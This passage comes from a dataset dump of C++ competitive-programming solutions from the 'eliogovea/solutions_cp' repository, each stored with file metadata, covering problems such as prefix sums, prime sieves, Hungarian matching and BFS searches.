pos;\r\n\t\tupdate(pos, -1);\r\n\t\tlast = pos;\r\n\t\t//ver(i); ver(t); ver(x); ver(y); ver(z); ver(pos);\r\n\t\t//cout << \"-------------------------\\n\";\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcout << ans[i];\r\n\t\tif (i + 1 <= n) {\r\n\t\t\tcout << \" \";\r\n\t\t}\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.28894472122192383, "alphanum_fraction": 0.3324958086013794, "avg_line_length": 25.76744270324707, "blob_id": "3eac98f53c2e9804c82280352d7d60f1cd21ab4f", "content_id": "1dd80ea8482f78a7804a98d4d6e035f9fb701fe3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1194, "license_type": "no_license", "max_line_length": 78, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p2355-Accepted-s666544.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 2355.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description :\r\n//============================================================================\r\n\r\n#include <cstdio>\r\n\r\nconst int MAXN = 105;\r\n\r\nint n, m, a[MAXN][MAXN], ans = 1000000;\r\n\r\ninline int get(int i1, int j1, int i2, int j2) {\r\n\treturn a[i2][j2] - a[i2][j1 - 1] - a[i1 - 1][j2] + a[i1 - 1][j1 - 1];\r\n}\r\n\r\nint main() {\r\n\tscanf(\"%d%d\", &n, &m);\r\n\tfor (int i = 0, x, y; i < m; i++) {\r\n\t\tscanf(\"%d%d\", &x, &y);\r\n\t\ta[x][y] = 1;\r\n\t}\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tfor (int j = 1; j <= n; j++)\r\n\t\t\ta[i][j] += a[i - 1][j] + a[i][j - 1] - a[i - 1][j - 1];\r\n\tfor (int k = 1; k * k <= m; k++)\r\n\t\tif (m % k == 0) {\r\n\t\t\tint l = m / k;\r\n\t\t\tfor (int i = 1; i + k - 1 <= n; i++)\r\n\t\t\t\tfor (int j = 1; j + l - 1 <= n; j++) {\r\n\t\t\t\t\tint tmp = m - get(i, j, i + k - 1, j + l - 1);\r\n\t\t\t\t\tif (tmp < ans) ans = tmp;\r\n\t\t\t\t}\r\n\t\t\tfor (int i = 1; i + l - 1 <= n; i++)\r\n\t\t\t\tfor (int j = 1; j + k - 1 <= n; j++) {\r\n\t\t\t\t\tint tmp = m - get(i, j, i + l - 1, j + k - 1);\r\n\t\t\t\t\tif (tmp < ans) ans = tmp;\r\n\t\t\t\t}\r\n\t\t}\r\n\tprintf(\"%d\\n\", ans);\r\n}\r\n" }, { "alpha_fraction": 0.5352112650871277, "alphanum_fraction": 0.5633803009986877, "avg_line_length": 14.384614944458008, "blob_id": "40ad57f8bffbc6b0af78d37b82a03caf9f4fa313", "content_id": "4212d23aab148585da32039d0e953313db6bb19f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 213, "license_type": "no_license", "max_line_length": 37, "num_lines": 13, "path": "/COJ/eliogovea-cojAC/eliogovea-p2409-Accepted-s597444.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 100010;\r\n\r\nchar name[MAXN];\r\nint a, b;\r\n\r\nint main() {\r\n\tscanf(\"%s%d%d\", name, &a, &b);\r\n\tprintf(\"%s %d\\n\", name, abs(a - b));\r\n}\r\n" }, { "alpha_fraction": 0.2988394498825073, "alphanum_fraction": 0.3568665385246277, "avg_line_length": 16.464284896850586, "blob_id": "8e9bdc9ee5e097ca17afda4031e4c924a71b2271", "content_id": "ffe15e729aa3d65bd7e68e92380f84a078c307d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1034, "license_type": "no_license", "max_line_length": 75, "num_lines": 56, "path": "/COJ/eliogovea-cojAC/eliogovea-p2861-Accepted-s963550.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\nconst int N = 10000000;\r\n\r\nint sum[N + 5];\r\nint C[800][800];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tsum[i] = 1;\r\n\t}\r\n\tfor (int i = 2; i * i <= N; i++) {\r\n\t\tif (sum[i] == 1) {\r\n\t\t\tfor (int j = i * i; j <= N; j += i) {\r\n\t\t\t\tsum[j] = 0;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tif (sum[i] == 1) {\r\n\t\t\tint x = i;\r\n\t\t\tint rx = 0;\r\n\t\t\twhile (x) {\r\n\t\t\t\trx = 10 * rx + (x % 10);\r\n\t\t\t\tx /= 10;\r\n\t\t\t}\r\n\t\t\tif (rx != i) {\r\n\t\t\t\tsum[i] = 0;\r\n\t\t\t}\r\n\t\t}\r\n\t\tsum[i] += sum[i - 1];\r\n\t}\r\n\tfor (int i = 0; i < 790; i++) {\r\n\t\tC[i][0] = C[i][i] = 1;\r\n\t\tfor (int j = 1; j < i; j++) {\r\n C[i][j] = (C[i - 1][j - 1] + C[i - 1][j]) % MOD;\r\n\t\t}\r\n\t}\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tint a, b, c;\r\n\t\tcin >> a >> b >> c;\r\n\t\tif (sum[b] - sum[a - 1] - c + 1 < 0 || sum[b] - sum[a - 1] - c + 1 < c) {\r\n\t\t\tcout << \"0\\n\";\r\n\t\t} else {\r\n\t\t\tcout << C[sum[b] - sum[a - 1] - c + 1][c] << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4071730077266693, "alphanum_fraction": 0.4303797483444214, "avg_line_length": 16.230770111083984, "blob_id": "afba1e4cf805e61d2ce01e7584c94ab3629e8193", "content_id": "02fb8e20895a4544bd1ff1889caaad9c1dd1fcfe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 474, "license_type": "no_license", "max_line_length": 42, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p2648-Accepted-s537937.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nint c;\r\ndouble r,n,l,htri,apo,ab,hpid;\r\n\r\nint main()\r\n{\r\n for(scanf(\"%d\",&c);c--;)\r\n {\r\n scanf(\"%lf%lf\",&r,&n);\r\n\r\n htri=sqrt(3.0)*r*sin(M_PI/n);\r\n apo=r*cos(M_PI/n);\r\n\r\n if(htri*htri-apo*apo>=0.0)\r\n {\r\n\r\n ab=n*r*r*sin(2.0*M_PI/n)/2.0;\r\n hpid=sqrt(htri*htri-apo*apo);\r\n\r\n printf(\"%.2lf\\n\",ab*hpid/3.0);\r\n }\r\n else printf(\"impossible\\n\");\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.33919596672058105, "alphanum_fraction": 0.37688443064689636, "avg_line_length": 12.740740776062012, "blob_id": "4a2d7d5a63d604144a0932e4b8775903bb549484", "content_id": "71849a025ee05f19563fe0f3ed333faca9b7d340", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 398, "license_type": "no_license", "max_line_length": 48, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p1880-Accepted-s554729.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint cas,n,s[2];\r\nchar line[55];\r\n\r\ninline void sum( int x )\r\n{\r\n\tfor( int i = 1; i <= n; i++ )\r\n\t{\r\n\t\tscanf( \"%s\", line + 1 );\r\n\t\tfor( char *p = line + 1; *p; p++ )\r\n\t\t\ts[x] += *p - '0';\r\n\t}\r\n}\r\n\r\nint main()\r\n{\r\n\tfor( scanf( \"%d\", &cas ); cas--; )\r\n\t{\r\n\t\tscanf( \"%d\", &n );\r\n\r\n\t\ts[0] = 0; sum(0);\r\n\t\ts[1] = 0; sum(1);\r\n\r\n\t\tprintf( \"%s\\n\", ( s[0] == s[1] )?\"YES\":\"NO\" );\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.35934290289878845, "alphanum_fraction": 0.3983573019504547, "avg_line_length": 16.37735939025879, "blob_id": "bd8bfc481499636dda242f1f4a87e6083bacedc9", "content_id": "6e06ef213b6892419ce505cc2b09d795b2ec5aed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 974, "license_type": "no_license", "max_line_length": 46, "num_lines": 53, "path": "/COJ/eliogovea-cojAC/eliogovea-p3403-Accepted-s869523.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nint n;\r\nstring s;\r\n\r\nint next[33][N];\r\n\r\nint q, start, len;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> s;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> next[0][i];\r\n\t}\r\n\tfor (int i = 1; i <= 30; i++) {\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tnext[i][j] = next[i - 1][next[i - 1][j]];\r\n\t\t}\r\n\t}\r\n\tcin >> q;\r\n\twhile (q--) {\r\n\t\tcin >> start >> len;\r\n\t\tif (len <= 20) {\r\n\t\t\tfor (int i = 0; i < len; i++) {\r\n\t\t\t\tcout << s[start - 1];\r\n\t\t\t\tstart = next[0][start];\r\n\t\t\t}\r\n\t\t\tcout << \"\\n\";\r\n\t\t} else {\r\n\t\t\tint x = start;\r\n\t\t\tfor (int i = 30; i >= 0; i--) {\r\n\t\t\t\tif ((len - 10) & (1 << i)) x = next[i][x];\r\n\t\t\t}\r\n\t\t\tfor (int i = 0; i < 10; i++) {\r\n\t\t\t\tcout << s[start - 1];\r\n\t\t\t\tstart = next[0][start];\r\n\t\t\t}\r\n\t\t\tcout << \"...\";\r\n\t\t\tfor (int i = 0; i < 10; i++) {\r\n\t\t\t\tcout << s[x - 1];\r\n\t\t\t\tx = next[0][x];\r\n\t\t\t}\r\n\t\t\tcout << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38146066665649414, "alphanum_fraction": 0.39831459522247314, "avg_line_length": 16.736841201782227, "blob_id": "0665e9936ab3bebd56a9881ab67bfc7687617295", "content_id": "6b2736b9351a4fe565c33218da696d875b7830b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1780, "license_type": "no_license", "max_line_length": 74, "num_lines": 95, "path": "/COJ/eliogovea-cojAC/eliogovea-p3563-Accepted-s926210.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 2002;\r\n\r\nint r, c;\r\nint p, f;\r\n\r\nint sump[N][N];\r\nint sumf[N][N];\r\n\r\ninline int getp(int x, int y, int l) {\r\n\treturn sump[x][y] - sump[x][y - l] - sump[x - l][y] + sump[x - l][y - l];\r\n}\r\n\r\ninline int getf(int x, int y, int l) {\r\n\treturn sumf[x][y] - sumf[x][y - l] - sumf[x - l][y] + sumf[x - l][y - l];\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> r >> c >> p >> f;\r\n\twhile (p--) {\r\n\t\tint x, y;\r\n\t\tcin >> x >> y;\r\n\t\tsump[x][y]++;\r\n\t}\r\n\twhile (f--) {\r\n\t\tint x, y;\r\n\t\tcin >> x >> y;\r\n\t\tsumf[x][y]++;\r\n\t}\r\n\r\n\tfor (int i = 1; i <= r; i++) {\r\n\t\tfor (int j = 1; j <= c; j++) {\r\n\t\t\tsump[i][j] += sump[i - 1][j] + sump[i][j - 1] - sump[i - 1][j - 1];\r\n\t\t\tsumf[i][j] += sumf[i - 1][j] + sumf[i][j - 1] - sumf[i - 1][j - 1];\r\n\t\t}\r\n\t}\r\n\r\n\tint ansff = -1;\r\n\tint ansx;\r\n\tint ansy;\r\n\tint anslen;\r\n\r\n\tfor (int i = 1; i <= r; i++) {\r\n\t\tfor (int j = 1; j <= c; j++) {\r\n\t\t\tif (getp(i, j, 1) > 0) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tint lo = 1;\r\n\t\t\tint hi = min(i, j);\r\n\t\t\tint len = 1;\r\n\t\t\twhile (lo <= hi) {\r\n\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\tif (getp(i, j, mid) == 0) {\r\n\t\t\t\t\tlen = mid;\r\n\t\t\t\t\tlo = mid + 1;\r\n\t\t\t\t} else {\r\n\t\t\t\t\thi = mid - 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tint ff = getf(i, j, len);\r\n\r\n\t\t\tif (ff < ansff) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\r\n\t\t\tlo = 1;\r\n\t\t\thi = len;\r\n\t\t\twhile (lo <= hi) {\r\n\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\tif (getf(i, j, mid) == ff) {\r\n\t\t\t\t\tlen = mid;\r\n\t\t\t\t\thi = mid - 1;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tlo = mid + 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tif (ff > ansff || (ff == ansff && len < anslen)) {\r\n\t\t\t\tansff = ff;\r\n\t\t\t\tanslen = len;\r\n\t\t\t\tansx = i - len;\r\n\t\t\t\tansy = j - len;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << ansx << \" \" << ansy << \"\\n\";\r\n\tcout << anslen << \"\\n\";\r\n\tcout << ansff << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3446115255355835, "alphanum_fraction": 0.4498746991157532, "avg_line_length": 15.625, "blob_id": "5ef8db5d0b3035523e7fb79ac254a994df2811aa", "content_id": "cd0f672a4ce7091c3b555065715a96c6d2f3034c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 798, "license_type": "no_license", "max_line_length": 68, "num_lines": 48, "path": "/Codeforces-Gym/101606 - 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)\n// 101606J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nll x[20];\n\nint len( int x ){\n int cnt = 0;\n do{\n cnt++;\n x /= 10;\n }while( x > 0 );\n return cnt;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n x[0] = 20000;\n x[1] = 10000;\n x[2] = 10000 / 2;\n x[4] = 10000 / 4;\n x[8] = 10000 / 8;\n x[16] = 10000 / 16;\n\n int n; cin >> n;\n ll sol = 0ll;\n\n for( int i = 1; i <= n; i++ ){\n int s; cin >> s;\n sol += x[s];\n }\n\n cout << sol / 10000ll << '.';\n int l = len( sol % 10000ll );\n for( int i = 0; i < 4 - l; i++ ){\n cout << '0';\n }\n cout << sol % 10000ll << '\\n';\n}\n" }, { "alpha_fraction": 0.3972286283969879, "alphanum_fraction": 0.41397228837013245, "avg_line_length": 17.244443893432617, "blob_id": "df211304038dd29008344e46d8fecb8038cc6a59", "content_id": "166d5ac106e54fd146bb0e2cd9ea292fda764127", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1732, "license_type": "no_license", "max_line_length": 55, "num_lines": 90, "path": "/COJ/eliogovea-cojAC/eliogovea-p3092-Accepted-s986264.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 50;\r\n\r\nconst int INF = 1e9;\r\n\r\nint n;\r\nint a[N][N];\r\n\r\nint usedx[N], usedy[N];\r\nint labelx[N], labely[N], link[N];\r\n\r\nbool dfs(int x) {\r\n\tusedx[x] = true;\r\n\tfor (int y = 0; y < n; y++) {\r\n\t\tif (!usedy[y] && labelx[x] + labely[y] == a[x][y]) {\r\n\t\t\tusedy[y] = true;\r\n\t\t\tif (link[y] == -1 || dfs(link[y])) {\r\n\t\t\t\tlink[y] = x;\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint match() {\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tlink[i] = -1;\r\n\t\tlabely[i] = 0;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tlabelx[i] = 0;\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tlabelx[i] = max(labelx[i], a[i][j]);\r\n\t\t}\r\n\t}\r\n\tfor (int k = 0; k < n; k++) {\r\n\t\twhile (true) {\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\tusedx[i] = usedy[i] = 0;\r\n\t\t\t}\r\n\t\t\tif (dfs(k)) break;\r\n\t\t\tint del = INF;\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\tif (usedx[i]) {\r\n\t\t\t\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\t\t\t\tif (!usedy[j]) {\r\n\t\t\t\t\t\t\tdel = min(del, labelx[i] + labely[j] - a[i][j]);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (del == 0 || del == INF) break;\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\tif (usedx[i]) labelx[i] -= del;\r\n\t\t\t\tif (usedy[i]) labely[i] += del;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint res = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tres += labelx[i];\r\n\t\tres += labely[i];\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tcin >> a[i][j];\r\n\t\t}\r\n\t}\r\n\tint maxval = match();\r\n\tconst int MAX = 100;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\ta[i][j] = MAX - a[i][j];\r\n\t\t}\r\n\t}\r\n\tint minval = n * MAX - match();\r\n\tcout << maxval << \" \" << minval << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.34229138493537903, "alphanum_fraction": 0.39038190245628357, "avg_line_length": 17.108108520507812, "blob_id": "6e4ff41398d14c2fe3dc840f3121b2cb5e5de0a1", "content_id": "f66f60dee7772515c4d3202b7c8a1b886844c0ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 707, "license_type": "no_license", "max_line_length": 43, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p3327-Accepted-s848523.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nlong long t[20][20];\r\nlong long p5[20];\r\n\r\nint tc, o, e;\r\n\r\nlong long calc(int e, int o) {\r\n\treturn t[e + o][o] * p5[e + o] * 2LL;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 0; i <= 18; i++) {\r\n\t\tt[i][0] = t[i][i] = 1;\r\n\t\tfor (int j = 1; j < i; j++) {\r\n\t\t\tt[i][j] = t[i - 1][j - 1] + t[i - 1][j];\r\n\t\t}\r\n\t}\r\n\tp5[0] = 1;\r\n\tfor (int i = 1; i <= 18; i++) {\r\n\t\tp5[i] = 5LL * p5[i - 1];\r\n\t}\r\n\twhile (cin >> e >> o && (e | o)) {\r\n if (e == 1 && o == 0) {\r\n cout << \"9\\n\";\r\n continue;\r\n }\r\n\t\tlong long ans = calc(e, o);\r\n\t\tif (e > 0) ans -= calc(e - 1, o);\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n\r\n}\r\n" }, { "alpha_fraction": 0.30463576316833496, "alphanum_fraction": 0.3549668788909912, "avg_line_length": 20.205883026123047, "blob_id": "a48f74e3520dbb86b8eb451c0894ba00b2c154e4", "content_id": "4c31eb82a11efe7f898760a6e220e1dde1ea5ccc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 755, "license_type": "no_license", "max_line_length": 99, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p3688-Accepted-s1137694.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\n\r\nint main(){\r\n ios::sync_with_stdio(0);\r\n cin.tie(0);\r\n cout.precision(12);\r\n\r\n int t;\r\n cin >> t;\r\n\r\n while (t--) {\r\n long double d1, d2;\r\n cin >> d1 >> d2;\r\n double lo = max(d1, d2);\r\n double hi = 1e10;\r\n\r\n for (int it = 0; it < 1000; it++) {\r\n double l = (lo + hi) / 2.0;\r\n double f = l * l - 2.0 * sqrt(l * l - d1 * d1) * sqrt(l * l - d2 * d2) + 2.0 * d1 * d2;\r\n if (f > 0.0) {\r\n lo = l;\r\n } else {\r\n hi = l;\r\n }\r\n }\r\n\r\n double l = (lo + hi) / 2.0;\r\n double ans = sqrt(3.0) * l * l / 4.0;\r\n cout << fixed << ans << \"\\n\";\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.4386920928955078, "alphanum_fraction": 0.5231607556343079, "avg_line_length": 18.38888931274414, "blob_id": "e19764d0462e35695ec59a41b9199a0ad6dc3dc4", "content_id": "64f02946f0334d7f73806df2dce529090e6a3c9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 367, "license_type": "no_license", "max_line_length": 71, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p2651-Accepted-s541426.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\nconst double PI = 3.141592654;\r\nconst double c1=5.0*sqrt(3.0)/(32.0*PI*PI);\r\nconst double c2=7.0*sqrt(3.0)/(32.0*PI*PI);\r\nint cas;\r\ndouble a;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&cas);\r\n for(int i=1; i<=cas; i++)\r\n {\r\n scanf(\"%lf\",&a);\r\n printf(\"Case %d\\nRice: %.2lf\\nBeans: %.2lf\\n\",i,c1*a*a,c2*a*a);\r\n\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3955191671848297, "alphanum_fraction": 0.4157690703868866, "avg_line_length": 23.691490173339844, "blob_id": "b42f6c4df5729449c4cf5c1a91417b5e87e3757d", "content_id": "29feff621abedc72c7dcf54460c405599bd7dc2f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2321, "license_type": "no_license", "max_line_length": 97, "num_lines": 94, "path": "/Codeforces-Gym/100735 - KTU Programming Camp (Day 1)/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 1)\n// 100735C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n,m;\nconst int MAXN = 30;\nint d[MAXN][MAXN][MAXN][MAXN];\nstring mapa[MAXN];\n\nint movI[4] = { 0 , 0 , -1 , 1};\nint movJ[4] = { -1 , 1 , 0 , 0};\n\ntypedef pair<int,int> par;\ntypedef pair< par, par > it;\n\nbool can_move(par x){\n bool ok = ( x.first < n && x.second < m && x.first >= 0 && x.second >= 0 &&\n mapa[x.first][x.second] != 'X' );\n return ok;\n}\n\npar move_G(par A, par G){\n if( A.second != G.second &&\n can_move( par( G.first , G.second + (A.second < G.second ? -1 : 1) ) ) ){\n G.second += (A.second < G.second ? -1 : 1);\n }\n else if( A.first != G.first &&\n can_move( par( G.first + (A.first < G.first ? -1 : 1) , G.second ) ) ){\n G.first += (A.first < G.first ? -1 : 1);\n }\n return G;\n}\n\nit cola[100000];\n\nint bfs( par a, par g, par P ){\n int enq = 0, deq = 0;\n\n d[ a.first ][ a.second ][ g.first ][ g.second ] = 1;\n cola[enq++] = it( a , g );\n\n while(enq - deq){\n par A = cola[deq].first;\n par G = cola[deq++].second;\n\n for(int k = 0; k < 4; k++){\n int ai = A.first + movI[k];\n int aj = A.second + movJ[k];\n\n if( can_move( par(ai, aj) ) &&\n ( ai != G.first || aj != G.second ) ){\n par nG = move_G( par(ai,aj) , G );\n if( nG.first == ai && nG.second == aj ||\n d[ai][aj][nG.first][nG.second] ){\n continue;\n }\n\n d[ai][aj][nG.first][nG.second] = d[ A.first ][ A.second ][G.first][G.second] + 1;\n cola[ enq++ ] = it( par(ai,aj) , nG );\n\n if( ai == P.first && aj == P.second ){\n return d[ai][aj][nG.first][nG.second] - 1;\n }\n }\n }\n }\n\n return -1;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> n >> m;\n\n par A, G, P;\n\n for(int i = 0; i < n; i++){\n cin >> mapa[i];\n for(int j = 0; j < m; j++){\n if( mapa[i][j] == 'A' ) A = par( i , j );\n if( mapa[i][j] == 'G' ) G = par( i , j );\n if( mapa[i][j] == 'P' ) P = par( i , j );\n }\n }\n\n cout << bfs( A , G , P ) << '\\n';\n}\n" }, { "alpha_fraction": 0.30996784567832947, "alphanum_fraction": 0.3446945250034332, "avg_line_length": 21.536231994628906, "blob_id": "9d9ce11094c917a8cd25736c6340586106279fab", "content_id": "ecd5b22adc1cf8971e8e0afa194715404a620dbf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1555, "license_type": "no_license", "max_line_length": 102, "num_lines": 69, "path": "/Codeforces-Gym/100228 - 2013-2014 CT S01E02: Extended 2003 ACM-ICPC East Central North America Regional Contest (ECNA 2003)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2013-2014 CT S01E02: Extended 2003 ACM-ICPC East Central North America Regional Contest (ECNA 2003)\n// 100228B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 30;\nconst int MAXL = 110;\nconst int MAXM = 610;\n\nint next[MAXM][MAXN];\nint dp[MAXL][MAXM];\nstring s[MAXM];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, l, m;\n\n while( cin >> n >> l >> m , n ){\n map<string,int> dic;\n\n for( int i = 1; i <= m; i++ ){\n cin >> s[i];\n dic[ s[i] ] = i;\n }\n\n for( int i = 1; i <= m; i++ ){\n string tmp = s[i].substr( 1 , s[i].size()-1 );\n for( int j = 0; j < n; j++ ){\n next[i][j] = 0;\n if( dic[ tmp+(char)('A'+j) ] ){\n next[i][j] = dic[ tmp+(char)('A'+j) ];\n }\n }\n }\n\n for( int i = 0; i <= l; i++ ){\n for( int j = 1; j <= m; j++ ){\n dp[i][j] = 0;\n }\n }\n\n for( int i = 1; i <= m; i++ ){\n dp[ s[1].size() ][i] = 1;\n }\n\n for( int i = s[1].size(); i < l; i++ ){\n for( int j = 1; j <= m; j++ ){\n for( int k = 0; k < n; k++ ){\n if( next[j][k] ){\n dp[i+1][ next[j][k] ] += dp[i][j];\n }\n }\n }\n }\n\n int sol = 0;\n for( int i = 1; i <= m; i++ ){\n sol += dp[l][i];\n }\n\n cout << sol << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.391867995262146, "alphanum_fraction": 0.4278137981891632, "avg_line_length": 17.648351669311523, "blob_id": "97b36fcae183a594e6697950554e355932946239", "content_id": "63f840fa3450b3a6e989763112312f9bf530fdc8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1697, "license_type": "no_license", "max_line_length": 163, "num_lines": 91, "path": "/Codeforces-Gym/101150 - 2016-2017 CT S03E08: Codeforces Trainings Season 3 Episode 8 - 2005-2006 ACM-ICPC, Tokyo Regional Contest + 2010 Google Code Jam Qualification Round (CGJ 10, Q)/L2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E08: Codeforces Trainings Season 3 Episode 8 - 2005-2006 ACM-ICPC, Tokyo Regional Contest + 2010 Google Code Jam Qualification Round (CGJ 10, Q)\n// 101150L2\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef unsigned long long ll;\n\nconst int MAXN = 2000;\n\nll n, r, k;\n\nll a[MAXN];\nll suma[MAXN];\n\nll sum( int i, int j ){\n if( i == 0 ){\n return suma[j];\n }\n\n return suma[j] - suma[i-1];\n}\n\nll find_sum( int ini, int steps ){\n if( ini + steps <= n ){\n return sum( ini , ini + steps - 1ll );\n }\n\n ll ret = sum( ini , n-1 );\n steps -= (n - ini);\n\n ret += suma[n-1] * ( steps / 